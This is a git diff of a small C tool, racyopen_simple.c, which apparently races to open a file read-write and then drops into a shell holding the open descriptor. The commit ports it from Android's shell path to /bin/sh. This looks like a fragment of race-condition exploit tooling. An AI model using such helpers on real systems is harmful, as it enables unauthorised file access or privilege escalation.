commit old stuff
[tools.git] / tools / racyopen_simple.c
index e4d5c06..b70520a 100644 (file)
@@ -14,11 +14,11 @@ int main(int argc, char *argv[]) {
   while (1) {
     int fd = open(argv[2], O_RDWR);
     if (fd == -1) {
-      sched_yield();
+      //sched_yield();
       continue;
     }
     printf("Success! Here's your shell with open fd.\n");
-    execl("/system/bin/sh", "sh", NULL);
+    execl("/bin/sh", "sh", NULL);
     printf("\nshell exited, resuming race\n");
   }
 }